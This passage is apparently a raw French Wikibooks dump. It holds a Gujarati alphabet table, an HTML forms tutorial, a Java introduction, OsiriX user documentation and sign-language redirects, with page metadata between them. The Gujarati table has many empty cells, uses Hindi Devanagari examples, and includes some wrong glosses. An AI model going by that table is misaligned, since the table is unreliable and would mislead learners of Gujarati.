</font> || ''éï'' || || <font size="+2"></font> ('''', ) |----- | <font size="+2"> </font> || ''o'' (long, ouvert) || || <font size="+2"></font> () |----- | <font size="+2"> ઓ </font> || ''ô'' (fermé) || || <font size="+2">ઓરડો</font> (''ôrdô'', chambre) |----- | <font size="+2"> ઔ </font> || ''aô'' (long) || || <font size="+2"></font> ('''', ) |----- | <font size="+2"> ા </font> || ''â'' (long, intérieur d'un mot) || || <font size="+1"></font> ('''', ) |----- | <font size="+2"> િ </font> || ''i'' (court, intérieur d'un mot) || || <font size="+1"></font> ('''', ) |----- | <font size="+2"> ી </font> || ''i'' (long, intérieur d'un mot) || || <font size="+1"></font> ('''', ) |----- | <font size="+2"> </font> || ''ou'' (court, intérieur d'un mot) || || <font size="+1"></font> ('''', ) |----- | <font size="+2"> </font> || ''oû'' (long, ntérieur d'un mot) || || <font size="+1"></font> ('''', ) |----- | <font size="+2"> </font> || ''ri'' (intérieur d'un mot) || || <font size="+2"></font> ('''', ) |----- | <font size="+2"> </font> || ''o'' (court, ouvert,</br /> à l'intérieur d'un mot) || || <font size="+1"> </font> |----- | <font size="+2"> </font> || ''é'' (intérieur d'un mot) || || <font size="+2">આજે</font> (''âjé'', aujourd'hui) |----- | <font size="+2"> </font> || ''éï'' (intérieur d'un mot) || || <font size="+2"> </font> ('' '', ) |----- | <font size="+2"> </font> || ''o'' (long, ouvert,<br/>à l'intérieur d'un mot) || || <font size="+1"></font> ('''', ) |----- | <font size="+1"> ો </font> || ''ô'' (fermé, intérieur d'un mot) || || <font size="+1"> </font> ('''', ) |----- | <font size="+1"> ૌ </font> || ''aô'' (intérieur d'un mot) || || <font size="+1"></font> (''naô'', neuf) |----- | <font size="+1"> </font> || (''anusvâr'', nasalise la voyelle précédente) || || <font size="+1">रंग</font> ('''', ) |----- | <font size="+1"> </font> || (''chandrabindu'', nasalise la voyelle précédente) || ''on'', ''an'' || <font size="+1"></font> (''fransîsî'', français) |----- | <font size="+1"> </font> || ''ah'' (à l'intérieur d'un mot,<br />seuls les deux points sont utilisés) || || <font size="+1"></font> ('''', ) |----- | <br /> |----- | ''Consonnes'' |----- | <font size="+2"> ક </font> || ''k'' || || <font size="+1">कमरा</font> (''kamrâ'', chambre) |----- | <font size="+2"> ખ </font> || ''kh'' || || <font size="+1">लिखना</font> (''likhnâ'', écrire) |----- | <font size="+2"> ગ </font> || ''g'' || ''g''are || <font size="+1">गाना</font> (''gânâ'', chanson, chanter) |----- | <font size="+2"> ઘ </font> || ''gh'' || || <font size="+1">घर</font> (''ghar'', maison) |----- | <font size="+2"> ચ </font> || ''tch'' || ''tch''échène || <font size="+1">चार</font> (''tchâr'', quatre) |----- | <font size="+2"> છ </font> || ''tchh'' || || <font size="+1">छे</font> (''tchhé'', six) |----- | <font size="+2"> જ </font> || ''dj'' || ''j''ean || <font size="+1">जाना</font> (''djânâ'', aller) |----- | <font size="+2"> ઝ </font> || ''djh'' || || <font size="+1">झूठ</font> (''djhoûth'', mensonge) |----- | <font size="+2"> ઞ </font> || ''gn'' (uniquement en combinaison avec <font size="+1">च छ ज झ</font>) || || |----- | <font size="+2"> ટ </font> || ''t'' || || <font size="+1">पेट</font> (''pét'', estomac) (टोपी, chapeau) |----- | <font size="+2"> ઠ </font> || ''th'' || || <font size="+1">मराठी</font> (marathi) |----- | <font size="+2"> ડ </font> || ''d'' || || <font size="+1">एडी</font> (''édî'', poignet) |----- | <font size="+2"> ઢ </font> || ''dh'' || || <font size="+1">ढेर</font> (''dhér'', tard) |----- | <font size="+2"> ણ </font> || ''n'' || || <font size="+1">अणु</font> (''anou'', atome, molécule) |----- | <font size="+2"> ત </font> || ''t'' || || <font size="+1">तमिल</font> (''tamil'', tamoul) |----- | <font size="+2"> થ </font> || ''th'' || || <font size="+1">हाथ</font> (''hâth'', main) |----- | <font size="+2"> દ </font> || ''d'' || || <font size="+1">दो</font> (''dô'', deux) |----- | <font size="+2"> ધ </font> || ''dh'' || || <font size="+1">दूध</font> (''doûdh'', lait) |----- | <font size="+2"> ન </font> || ''n'' || ''n''om || <font size="+1">नमक</font> (''namak'', sel) |----- | <font size="+2"> પ </font> || ''p'' || ''p''apa || <font size="+1">पति</font> (''pati'', époux, mari) |----- | <font size="+2"> ફ </font> || ''ph'', ''f'' || || <font size="+1">सफेद</font> (''safed'', blanc) |----- | <font size="+2"> બ </font> || ''b'' || ''b''allon || <font size="+1">बीस</font> (''bîs'', vingt) |----- | <font size="+2"> ભ </font> || ''bh'' || || <font size="+1">भारत</font> (''bhârat'', Inde) |----- | <font size="+2"> મ </font> || ''m'' || ''m''aman || <font size="+1">माथा</font> (''mâthâ'', tête) |----- | <font size="+2"> ય </font> || ''y'' || ''y''ack || <font size="+1">चाय</font> (''tchây'', thé) |----- | <font size="+2"> ર </font> || ''r'' || || <font size="+1">रविवार</font> (''ravivâr'', dimanche) |----- | <font size="+2"> લ </font> || ''l'' || ''l''ac || <font size="+1">लाना</font> (''lânâ'', apporter) |----- | <font size="+2"> ળ </font> || ''l'' || '''' || <font size="+1"></font> ('''', ) |----- | <font size="+2"> વ </font> || ''v'', ''w'' || || <font size="+1">हवा</font> (''hawâ'', air) |----- | <font size="+2"> શ </font> || ''sh'' (ch ''mouillé'') || allemand mi''ch'' || <font size="+1">शनिवार</font> (''shanivâr'', samedi) |----- | <font size="+2"> ષ </font> || ''ch'' || ''ch''at || <font size="+1">भाषा</font> (''bhâchâ'', langue) |----- | <font size="+2"> સ </font> || ''s'' || ''s'' || <font size="+1">सात</font> (''sât'', sept) |----- | <font size="+2"> હ </font> || ''h'' || || <font size="+1">होना</font> (''honâ'', être) |----- | <font size="+1"> ़ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> ् </font> || (pour supprimer la voyelle implicite) || || <font size="+1"> </font> |----- | <font size="+1"> ॏ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> ॐ </font> || Ôm || || <font size="+1"> </font> |----- | <font size="+1"> ॓ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> ॔ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> । </font> || . (fin de phrase) || || <font size="+1"> </font> |----- | <font size="+1"> ॥ </font> || (marque la fin d'une rime en poésie) || || <font size="+1"> </font> |} == Voir aussi == * [[Devanagari]] * [[w:Alphabet gujarati|Alphabet gujarati]] (Wikipédia) [[en:Gujarati alphabet]] Programmation HTML Formulaires 1048 46638 2006-07-01T06:23:27Z Guillaumito 46 restitution de la dernière modification de 81.53.3.229 {{Programmation HTML}} Un formulaire permet de faire entrer des données à un utilisateur sur une page web ; données qui seront ensuite traitées par un script serveur ou client. Un formulaire est composée de un ou plusieurs éléments d'entrée englobés par la balise <code><nowiki><form></nowiki></code>. Par exemple : <pre><nowiki> <form method="post"> <p>Entrez votre nom : <input type="text" name="nom" /></p> <p>Entrez votre prénom : <input type="text" name="prenom" /></p> </form> </nowiki></pre> '''Attention''' : le [[Programmation HTML|HTML]] seul ne permet pas de récupérer (pour un humain) ou traiter les données du formulaire. Pour cela, il faut utiliser un langage de script, comme [[Programmation PHP|PHP]]. Par souci de compréhension, nous supposons dans nos exemples qu'un script récupère les données. ==La balise <code><nowiki><form></nowiki></code>== <code><nowiki><form></nowiki></code> permet de regrouper plusieurs entrées sous un seul nom, ce qui permettra de les traiter ensemble. Exemple : <pre><nowiki> <form name="formulaire_1" method="post"> <p>Entrez votre nom : <input type="text" name="nom" /></p> <input type="submit" value="Envoyer 1" /> </form> <form name="formulaire_2" method="post"> </p>Entrez votre prénom : <input type="text" name="prenom" /></p> <input type="submit" value="Envoyer 2"> </form> </nowiki></pre> Ici, si vous cliquez sur « Envoyer 2 », les données saisies dans « nom » ne seront pas récupérées car le bouton « Envoyer 2 » ne porte que sur le formulaire dans lequel il se trouve (en l'occurence « formulaire_2 »). ==La balise <code><nowiki><input></nowiki></code>== <code><nowiki><input></nowiki></code> est la balise le plus utilisée dans les formulaire. Elle permet par exemple de demander à l'utilisateur de la page des informations textuelles (par exemple son nom), un choix entre plusieurs options ou même de sélectionner un fichier à envoyer. ===L'attribut <code>name</code>=== Cet attribut sert à retrouver un objet (ici la balise <code><nowiki><input></nowiki></code>) afin de l'exploiter en javascript. Il est également utilisé lors de l'envoi du formulaire vers un serveur afin d'extraire les données saisies par l'utilisateur. ===L'attribut <code>id</code>=== Comme l'attribut <code>name</code>, <code>id</code> sert à nommer un objet dans une page web. Cependant, contrairement à l'attribut <code>name</code>, tous les <code>id</code> doivent être uniques dans toute la page. Ils servent également à la balise <nowiki><label></nowiki></code> que nous présenterons plus loin. ===L'attribut <code>type</code>=== Le role de la balise est déterminée via l'attribut <code>type</code>. Voici une liste des possibilité qui s'offrent à vous : ; text : C'est un champ de saisie de texte classique. ; password : Ce type permet d'entrer un mot de passe. Le texte saisi est remplacé par des étoiles (le caractère « * »). Attention, avoir un champ caché à l'utilisateur ne signifie pas que personne pourra le lire car le mot de passe est transmis « en clair » sur le réseau. ; checkbox : C'est une simple case à cocher permettant à l'utilisateur de valider ou non une option. ; radio : C'est une case d'option. Elle n'est jamais utilisée seule car, en groupe, elle permet à l'utilisateur de choisir une option parmi plusieures. ; file : Ce type permet à l'utilisateur de choisir un fichier afin qu'il soit envoyé vers un serveur. ; submit : C'est un simple bouton permettant d'envoyer le formulaire. ; reset : C'est un bouton permettant de remettre le formulaire dans son état initial. ; hidden : C'est un champ caché qui permet à l'auteur du formulaire de faire passer des informations au serveur qui n'ont pas à être modifiées par l'utilisateur. Attention, même si l'utilisateur ne peux pas voir directement ces champs, leur valeur est aisément modifiable. Il ne faut donc JAMAIS faire confiance aux données venant de ces champs lors du traitement du formulaire. ; name :cette attribut permet d'inserer une variable dans le texte. ===L'attribut <code>value</code>=== Cet attribut permet de spécifier la valeur par défaut d'un champ. Exemple : <pre><nowiki> <form name="formulaire" method="post"> <p>Un champ texte : <input type="text" name="nom" id="nom"/> </p> <p>Un mot de passe : <input type="password" name="pass" id="pass" /> </p> <p><input type="checkbox" name="choix_simple" id="choix_simple" /> Une case à cocher </p> <p><input type="radio" name="choix_multiple" value="choix1"/> Premier choix </p> <p><input type="radio" name="choix_multiple" value="choix2"/> Deuxième choix </p> <p><input type="radio" name="choix_multiple" value="choix3"/> Troisième choix </p> <p>Un fichier à mettre sur le serveur :<input type="file" name="fichier" id="fichier"/> </p> <p>Un champ que l'utilisateur ne pourra pas modifier ni même voir : <input type="hidden" name="champ_cache" id="champ_cache" value="coucou" /> </p> <p><input type="submit" /><input type="reset" /></p> </form> </nowiki></pre> ==La balise <code><nowiki><label></nowiki></code>== L'habitude courante lors du développement d'un formulaire web consiste à placer le texte associé au champs d'entrée à côté de ces champs sans préciser explicitement qu'ils sont associés. Ce n'est pas un gros problème pour l'utiliateur moyen car en visualisant la page, il associe directement ces deux informations et remplit aisément le formulaire. Par contre, pour un utilisateur ayant un handicap, cette association peut ne pas être aussi facile. La balise <code><nowiki><label></nowiki></code> permet donc d'associer une légende à un champ d'entrée. Ainsi, tous les utilisateurs pourront utiliser votre formulaire sans problème. ===L'attribut <code>for</code>=== Cet attribut sert à spécifier le champ d'entrée dont le label est la légende. Exemple : <pre><nowiki> <form name="formulaire" method="post"> <p><label for="nom">Un champ texte : </label> <input type="text" name="nom" id="nom"/> </p> <p><input type="submit" /></p> </form> </nowiki></pre> ==La balise <code><nowiki><fieldset></nowiki></code>== Cette balise sert à regrouper plusieurs champs qui ont un rapport entre eux comme part exemple un groupe de cases d'options. Le but de cette balise est le même que celui de <code><nowiki><label></nowiki></code> car elle permet d'indiquer explicitement la fonction d'un groupe de champs. ===La balise <code><nowiki><legend></nowiki></code>=== On doit placer cette balise dans un bloc de <code>fieldset</code>. Elle permet de donner une légende au groupe de champs. Exemple : <pre><nowiki> <fieldset> <legend> Voici une liste de case à cocher </legend> <p> <input type="radio" name="choix_multiple" id="choix_multiple_1" value="choix1" /> <label for="choix_multiple_1">Premier choix </label> </p> <p> <input type="radio" name="choix_multiple" id="choix_multiple_2" value="choix2" /> <label for="choix_multiple_2">Deuxieme choix </label> </p> <p> <input type="radio" name="choix_multiple" id="choix_multiple_3" value="choix3" /> <label for="choix_multiple_3">Troisieme choix </label> </p> </fieldset> </nowiki></pre> Programmation Java 1049 35420 2006-03-02T07:37:35Z Merrheim 1032 {{Programmation Java}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#AACCCC" align="center" colspan="2" | {| width="100%" bgcolor="#AACCCC" |- | bgcolor="white" | [[Image:logo java.JPG]] | bgcolor="#AACCCC" valign="middle" width="90%" align="center" | <font size="+1">Programmation Java</font> ''un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Programmation Java/Sommaire|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Programmation_Java&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Programmation_Java&action=purge '''Rafraîchir la page'''] |- |} |- |} [[de:Java]] [[de:Java Standard|Deutsch J.SE]] [[en:Programming:Java]] [[es:Programación en Java]] Image:Logo java.JPG 1051 32338 2006-02-11T00:02:17Z Boly38 136 +{{fair use}} Logo Java provenant de java.sun.com. Utilisé en vertu du principe de Fair Use. Tous droits réservés. {{fair use}} Programmation Java Introduction 1052 39943 2006-04-10T10:15:58Z 80.15.6.86 /* Présentation du langage */ {{Programmation Java}} ==Introduction au langage Java== <table align=right><tr><td>[[image:Logo_java.JPG]]</td></tr></table> Le 23 mai 1995, Sun Microsystem présentait une nouvelle plateforme, composée d'un langage de programmation et d'une machine virtuelle. [[Programmation Java|Java]] était né. L'histoire de [[Programmation Java|Java]] commence en fait en 1991, lorsque Sun décide de lancer un projet destiné à anticiper l'évolution de l'informatique, confié à James Gosling, Patrick Naughton et Mike Sheridan. Ce projet, appelé "Green Project", eu comme résultat une plate-forme baptisée Oak, indépendante du système, orientée objet et légère. Oak était initialement destinée à la télévision interactive. Lorsque [[Programmation Java|Java]] est révélé en 1995 (Oak a été renommé en Java pour de simples raisons de droit d'auteur), Java profite de l'essor d'Internet en permettant l'un des premiers mécanismes d'interactivité au niveau du poste client : l'applet Java. Langage orienté objet d'usage généraliste, [[Programmation Java|Java]] est enrichi par des bibliothèques, des outils et des environnements très diversifiés, standardisés par le Java Community Process (JCP), consortium chargé de l'évolution de [[Programmation Java|Java]]. Ce consortium regroupe des entreprises, comme Sun, IBM, Oracle, Borland, BEA, des organismes de normalisation, comme le NIST, des organismes du monde Open Source, comme la Fondation Apache et le JBoss Group, et des particuliers. Il est possible d'utiliser [[Programmation Java|Java]] pour créer des logiciels dans des environnements très diversifiés : * Applications sur client lourd (JFC) * Applications Web, côté serveur (servlets, JSP, Struts, JSF) * Applications réparties (EJB) * Applications embarquées ([[Programmation J2ME|J2ME]]) * Applications sur carte à puce ([[Programmation JavaCard|JavaCard]]) Ces applications peuvent être enrichies par de nombreuses fonctionnalités : * Accès à des bases de données (JDBC et JDO) * Accès à des annuaires (JNDI) * Traitements [[Programmation XML|XML]] (JAXP) * Connexion à des ERP (JCA) * Accès à des traitements en d'autres langages (JNI) * Web services (JAX-RPC, JAXM, JAXR) * Multimédia (Java Media) * Téléphonie (JTAPI) * Télévision interactive (Java TV) Ceci n'est bien sûr qu'un petit échantillon. Il existe bien d'autres bibliothèques. ===Historique de Java=== * 1991 : Début du projet Oak, qui donnera naissance à [[Programmation Java|Java]] * Eté 1992 : première présentation interne des possiblités de Oak. Un appareil appelé "Star Seven" permet de visualiser une animation montrant Duke, l'actuelle mascotte de [[Programmation Java|Java]]. * 1994 : Développement de HotJava, un navigateur internet entièrement écrit en [[Programmation Java|Java]]. * 23 mai 1995 : Lancement officiel de [[Programmation Java|Java]] 1.0 * 23 janvier 1996 : Lancement du JDK 1.0 * 29 mai 1996 : Première conférence JavaOne. Java Media et les servlets y sont notamment annoncés. * 16 août 1996 : Premières éditions des livres "Java Tutorial" et "Java Language Specification" par Sun et Addison-Wesley * Septembre 1996 : Lancement du site Web ''Java Developer Connection Web'' * 16 octobre 1996 : Spécification des JavaBeans * 11 janvier 1997 : Lancement des JavaBeans * 18 février 1997 : Lancement du JDK 1.1 * 28 février 1997 : Netscape annonce que Communicator supporte désormais Java * 4 mars 1997 : Lancement des servlets * 10 mars 1997 : Lancement de JNDI * 5 juin 1997 : Lancement de Java Web Server 1.0 * 5 août 1997 : Lancement de Java Media et de Java Communication API * Mars 1998 : Lancement des JFC et notamment de Swing * 8 décembre 1998 : Lancement de [[Programmation Java|Java]] 2 et du JDK 1.2 * 4 mars 1999 : Support XML * 27 mars 1999 : Lancement de la machine virtuelle HotSpot * 2 juin 1999 : Lancement des JSP * 15 juin 1999 : Formalisation des environnements [[Programmation J2ME|J2ME]], de [[Programmation J2SE|J2SE]] et [[Programmation J2EE|J2EE]] ; Lancement de Java TV * Août 1999 : Lancement de Java Phone * 8 mai 2000 : Lancement de [[Programmation J2SE|J2SE]] 1.3 * 9 mai 2002 : Lancement de [[Programmation J2SE|J2SE]] 1.4 * 24 novembre 2003 : Lancement de [[Programmation J2EE|J2EE]] 1.4 * 30 septembre 2004 : Lancement de [[Programmation J2SE|J2SE]] 1.5, nommé également '''J2SE 5.0''' ===Présentation du langage=== Java est un langage typé et orienté objet. Il est compilé et basé sur une architecture logicielle très particulère nécessitant une machine virtuelle Java. Il utilise les notions usuelles de la programmation orientée objet : la notion de classe, d'encapsulation, d'héritage, d'interface, de virtualité, de généricité, ...etc... Il est accompagné d'un ensemble énorme de bibliothèques standard couvrant de très nombreux domaines, notamment des bibliothèques graphiques. C'est un langage qui présente d'excellentes propriétés de portabilité du code. Son gros point faible est une relative lenteur, surtout si on le compare à des langages comme le C++. Cependant, ce défaut a été résolu en grande partie par l'introduction de la technologie JIT (compilateur Just-In-Time), qui compile le code à la première exécution, permettant une exécution quasiment aussi rapide qu'en C/C++. Modèle:Programmation Java 1053 38611 2006-03-23T08:40:41Z 195.221.243.132 {| style="border:3px #77AAAA solid; border-style:inset" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#AACCCC;" | '''[[Programmation]]''' |- | style="text-align:center;background:#AACCCC;" | '''[[Programmation Java|Java]]''' |- | style="text-align:center;background:#AACCCC;" | ''[[Département informatique/Bibliothèque|Département informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Logo java.JPG]] |- | bgcolor="#AACCCC" align="center" |'''Sommaire''' |- | bgcolor="white" | |- | * <small> [[Programmation Java Introduction|Introduction]] </small> * <small> [[Programmation Java Machine virtuelle|La notion de machine virtuelle]] </small> *<small>[[Programmation Java Bases du langage|Bases du langage]]</small> **<small>[[Programmation Java Premier programme|Premier programme]]</small> **<small>[[Programmation Java Types de base|Types de base]]</small> **<small>[[Programmation Java Opérateurs|Opérateurs]]</small> **<small>[[Programmation Java Conditions|Conditions]]</small> **<small>[[Programmation Java Itérations|Itérations]]</small> **<small>[[Programmation Java Tableaux|Tableaux]]</small> **<small>[[Programmation Java Collections|Collections]]</small> *<small>[[Programmation Java Les classes en Java|Les classes en Java]]</small> **<small>[[Programmation Java Membres|Membres]] </small> **<small>[[Programmation Java Instanciation et cycle de vie|Instanciation et cycle de vie]]</small> **<small>[[Programmation Java this|"this"]]</small> **<small>[[Programmation Java Encapsulation|Encapsulation]]</small> **<small>[[Programmation Java Agrégation|Agrégation]]</small> **<small>[[Programmation Java Héritage|Héritage]]</small> **<small>[[Programmation Java Polymorphisme|Polymorphisme]]</small> **<small>[[Programmation Java Classes abstraites|Classes abstraites]]</small> **<small>[[Programmation Java Interfaces|Interfaces]]</small> **<small>[[Programmation Java Classes internes|Classes internes]]</small> **<small>[[Programmation Java Transtypage|Transtypage]]</small> **<small>[[Programmation Java Packages|Packages]]</small> *<small>[[Programmation Java Exceptions|Exceptions]]</small> *<small>[[Programmation Java Classes de base|Classes de base]]</small> *<small>[[Programmation Java Sujets connexes|Sujets connexes]]</small> * <small> [[Programmation Java Conclusion|Conclusion]]</small> |- | bgcolor="#AACCCC" align="center" |'''IHM avec SWING''' |- | bgcolor="white" | *<small>[[Programmation Java/swing/Hello|Un premier exemple]]</small> *<small>[[Programmation Java/swing/Somme|Calculer la somme de 2 entiers]]</small> *<small>[[Programmation Java/swing/Distance|Calculer la distance entre 2 points]]</small> |- | bgcolor="#AACCCC" align="center" |'''Annexes''' |- | bgcolor="white" | *<small>[[Programmation Java Liste des mots réservés|Liste des mots réservés]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Programmation_Java&action=edit | Modifier ce modèle]</small> |} Documentation en ligne de OsiriX/Modifier les fenêtres d'OsiriX 1054 19643 2005-08-20T19:32:37Z Greudin 1 restitution de la dernière modification de Drendon [[Documentation en ligne de OsiriX/Importer des images DICOM dans OsiriX|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément|>]] ---- OsiriX offre beaucoup de fonctions et il est parfois utile de modifier l'interface graphique d'utilisateur (GUI) pour répondre à vos besoins de manière plus ergonomique. Toutes les fenêtres d'OsiriX sont configurables. Vous pouvez modifier les outils afin qu'ils aparaissent ou non dans la barre d'outils. Choisir “Customize Toolbar” depuis le menu “2D Viewer” ou depuis le menu “3D Viewer”. Vous pouvez aussi cliquer directement dans la barre d'outils tout en maintenant la touche 'ctrl' enfoncée. Ainsi la fenêtre “Customize” va aparaître. Ensuite simplement glisser-déposer “drag-and-drop” n'importe quel outil depuis cette fenêtre jusqu'à la barre d'outils. <center>[[Image:OsiriX 4.1.jpg]]<br>''La fenêtre “Customize” est affichée. Seulement glisser-déposer “drag-and-drop” les outils jusqu'à la barre d'outils pour la modifier.''</center> ---- [[Documentation en ligne de OsiriX |OsiriX]] <br> [[Documentation en ligne de OsiriX/Importer des images DICOM dans OsiriX|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément|>]] [[en:Online OsiriX Documentation/Customizing OsiriX windows]] [[es:Documentación en línea de OsiriX/Configurar_ventanas_OsiriX]] [[ja:OsiriX オンライン解説文書/OsiriX入門_外観をカスタマイズする]] Image:OsiriX 4.1.jpg 1055 12708 2004-11-17T21:38:31Z Xmlspeed 107 OsiriX_4.1.jpg (licence GPL) OsiriX_4.1.jpg (licence GPL) Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément 1056 18174 2005-07-31T00:06:12Z Drendon 442 Ouvrir plusieurs séries simultanément déplacé vers Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément [[Documentation en ligne de OsiriX/Modifier les fenêtres d'OsiriX|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément|>]] ---- Comment ouvrir plusieurs séries à la fois ? Ouvrez un dossier patient et cliquez sur les 2 extrémités d'une sélection de séries contiguës en gardant la touche 'shift' appuyée, ou sélectionnez des séries éparses en les cliquant tout en maintenant la touche 'Apple (command)" appuyée. Ensuite cliquez sur l'icône “2D Viewer” de la barre d'outils pour ouvrir les séries sélectionnées. <center>[[Image:OsiriX 5.1.jpg]]<br>''La fenêtre de “Local Database” ''</center> Vous pouvez ouvrir de nouvelles séries en tout temps. Pour cela il suffit d'aller au menu déroulant "Files" et de sélectionner la ligne “Local Database” pour ouvrir à nouveau la fenêtre de base de données. ---- [[Documentation en ligne de OsiriX |OsiriX]] <br> [[Documentation en ligne de OsiriX/Modifier les fenêtres d'OsiriX|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément|>]] [[en:Online OsiriX Documentation/Opening multiple series simultaneously]] [[es:Documentación en línea de OsiriX/Abrir varios series a la vez]] [[ja:OsiriX オンライン解説文書/OsiriX入門_複数シリーズを同時に開く]] Image:OsiriX 5.1.jpg 1057 12710 2004-11-17T21:54:47Z Xmlspeed 107 OsiriX_5.1 (licence GPL) OsiriX_5.1 (licence GPL) LSF/Vocab/Classificateur 1061 12713 2004-11-18T20:34:13Z Kowey 113 [[Category:LSF:Métalangage|Classificateur]] Catégorie:LSF:Métalangage 1062 12714 2004-11-18T20:28:10Z Kowey 113 Le vocabulaire pour parler de la langue des signes. Gujarati 1064 12716 2004-11-18T20:37:57Z Yann 2 #REDIRECT [[Enseignement du gujarati]] #REDIRECT [[Enseignement du gujarati]] Gujarâtî 1065 12717 2004-11-18T20:47:53Z Yann 2 #REDIRECT [[Enseignement du gujarati]] #REDIRECT [[Enseignement du gujarati]] LSF/Vocab/Configuration 1066 12718 2004-11-18T21:11:08Z Kowey 113 <!-- liens vers les configurations --> ---- [[Category:LSF:Métalangage|Configuration]] LSF:Exercises:Chiffres ABC/Texte 1068 12720 2004-11-18T21:51:11Z Kowey 113 LSF:Exercises:Chiffres ABC/Texte déplacé vers LSF:Exercices:Chiffres ABC/Texte #REDIRECT [[LSF:Exercices:Chiffres ABC/Texte]] LSF:Exercises:3 novembre/Texte 1069 22608 2005-10-06T03:37:50Z Jusjih 513 La double redirection est terminée. #REDIRECT [[LSF/Exercices/3 novembre/Texte]] Modèle:LSF sans vidéo 1070 12722 2004-11-18T22:24:58Z Kowey 113 {| cellspacing="1" cellpadding="1" style="background: #efefef; border: 1px solid #5E715E; padding: 5px;" |- | La vidéo de cet exercice n'est pas encore disponible. Si vous connaisez la LSF (même un petit peu) vous pouvez nous aider en téléchargant une des votres. |} Modèle:LSF:sans vidéo 1071 12723 2004-11-18T22:18:54Z Kowey 113 Modèle:LSF:sans vidéo déplacé vers Modèle:LSF sans vidéo #REDIRECT [[Modèle:LSF sans vidéo]] LSF/Exercices/3 novembre 1072 12724 2005-01-21T21:10:53Z Kowey 113 Ce exercise est fait pour vous faire travailler des chiffres, des dates et un peu de vocabulaire courante. {{LSF sans vidéo}} {{LSF exercice inversible}} Programmation Java Bases du langage 1073 37269 2006-03-12T16:56:57Z Merrheim 1032 /* Opérateurs */ {{Programmation Java}} Un programme [[Programmation Java|Java]] est une suite d'instructions exécutées de manière séquentielle. D'une manière générale, les instructions sont séparées par des points-virgules (;). ===Point d'entrée du programme=== Tout programme Java nécessite un point d'entrée. Pour un programme simple, le point d'entrée est la méthode ''main'' qui doit être publique et statique et située dans une classe qui elle même doit être publique : <pre> public class ClassTest { public static void main(String args[]) { //instructions du programme } } </pre> L'argument ''args'' de cette méthode contient les paramètres passés au programme. D'autres types de programmes, comme les applets ou les servlets, utilisent d'autres méthodes comme points d'entrée. ===Blocs d'instructions=== Un bloc d'instructions est une suite d'instructions commençant par une accolade ouvrante ({) et se terminant par une accolade fermante (}). Un bloc d'instructions est consideré comme une seule instruction par les instructions ''for'', ''while'', ''if'', ''else'' et ''case''. ===Commentaires=== Java permet d'insérer des commentaires en utilisant deux syntaxes différentes : *La séquence // permet d'insérer un commentaire d'une seule ligne, ce qui veut dire que la ligne suivante n'est plus considérée comme un commentaire. *La séquence /* permet d'insérer un commentaire sur plusieurs lignes. La séquence */ marque la fin du commentaire. En d'autres termes, tout ce qui est situé entre /* et */ est considéré comme faisant parti du commentaire. Algèbre de Boole 1074 12726 2004-11-20T07:20:44Z Guillaumito 46 correction lien Voir l'article consacré sur [[w:fr:Algèbre de Boole|Wikipédia]] Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément 1076 18229 2005-08-01T00:58:59Z Drendon 442 Fixed link to English version [[Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX|>]] ---- Comment regarder simultanément plusieurs séries ? Choisir “Tile Windows” depuis le menu “2D Viewer”. Cette fonction va arranger toutes les fenêtres ouvertes et vous pourrez voir toutes les séries ouvertes à la fois. <center>[[Image:OsiriX 6.1.jpg]]</center><br>''4 séries ouvertes à la fois. Notez que si toutes les séries apartiennent à la même étude, l'emplacement de l'image actuelle de la série dans laquelles vous naviguez sera indiqué sur les autres séries (par des lignes vertes).'' ---- [[Documentation en ligne de OsiriX|OsiriX]] <br> [[Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX|>]] [[en:Online OsiriX Documentation/Viewing multiple series simultaneously]] [[es:Documentación en línea de OsiriX/Ver varios series a la vez]] [[ja:OsiriX オンライン解説文書/OsiriX入門_複数シリーズを同時に閲覧する]] Image:OsiriX 6.1.jpg 1077 12729 2004-11-20T22:39:36Z Xmlspeed 107 OsiriX_6.1 (Licence GPL) OsiriX_6.1 (Licence GPL) Tribologie - Causes du frottement 1078 12730 2004-11-20T22:44:12Z Jean-Jacques MILAN 114 Tribologie - Causes du frottement déplacé vers Tribologie - Genèse des frottements #REDIRECT [[Tribologie - Genèse des frottements]] Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX 1079 18180 2005-07-31T00:22:25Z Drendon 442 Administrer une base de données locale OsiriX déplacé vers Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX [[Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Fusionner des images|>]] ---- Il est important de comprendre deux concepts à propos de votre base de données locale : #Si vous recevez des images avec le 